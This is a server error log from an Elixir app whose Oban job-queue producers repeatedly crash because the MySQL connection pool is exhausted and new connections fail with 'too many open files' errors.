State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:30:23.240921Z], limit: 20, uuid: "0c5cd988-4190-44be-b50d-67f6b0d96ade", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:23.240927Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61674>, refresh_timer: #Reference<0.2525715032.1077673987.41249>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:35.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:30:23.239063Z], limit: 5, uuid: "b0d134ff-2824-435a-8b30-59cbc21722fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:23.239070Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.41252>, refresh_timer: #Reference<0.2525715032.1077673987.41211>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:30:23.239935Z], limit: 5, uuid: "a9e3c4d4-484e-4dcd-8819-68711469f1c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:23.239940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61677>, refresh_timer: #Reference<0.2525715032.1068498948.62889>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:35.343000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:39.433000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:40.528000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:30:35.239042Z], limit: 10, uuid: "9beaab93-65d1-4598-bc87-2f8347eb64e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:35.239051Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61963>, refresh_timer: #Reference<0.2525715032.1099431938.61897>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:30:35.242457Z], limit: 5, uuid: "1060bf60-0670-45a1-999f-be6d0f4c799b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:35.242463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61965>, refresh_timer: #Reference<0.2525715032.1068498948.62935>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:30:35.239807Z], limit: 3, uuid: "a1a351a0-a4a1-4971-9a22-fa0d443e50af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:35.239813Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.41407>, refresh_timer: #Reference<0.2525715032.1068498948.62922>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:30:35.239242Z], limit: 50, uuid: "f23e9787-d60a-4a2e-9fb2-6e9fa84d92bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:35.239247Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61964>, refresh_timer: #Reference<0.2525715032.1099431938.61905>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:30:35.239836Z], limit: 20, uuid: "6eda6a04-35b7-4035-b8e5-bcff5c63b60e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:35.239841Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.41406>, refresh_timer: #Reference<0.2525715032.1068498948.62926>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:30:35.241344Z], limit: 5, uuid: "9b7a4ad5-b016-477a-b530-b49b1d3ca37e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:35.241350Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.41405>, refresh_timer: #Reference<0.2525715032.1077673987.41402>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:50.199000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:50.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:50.760000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:51.589000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:51.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:52.332000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:54.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:55.534000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:58.817000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
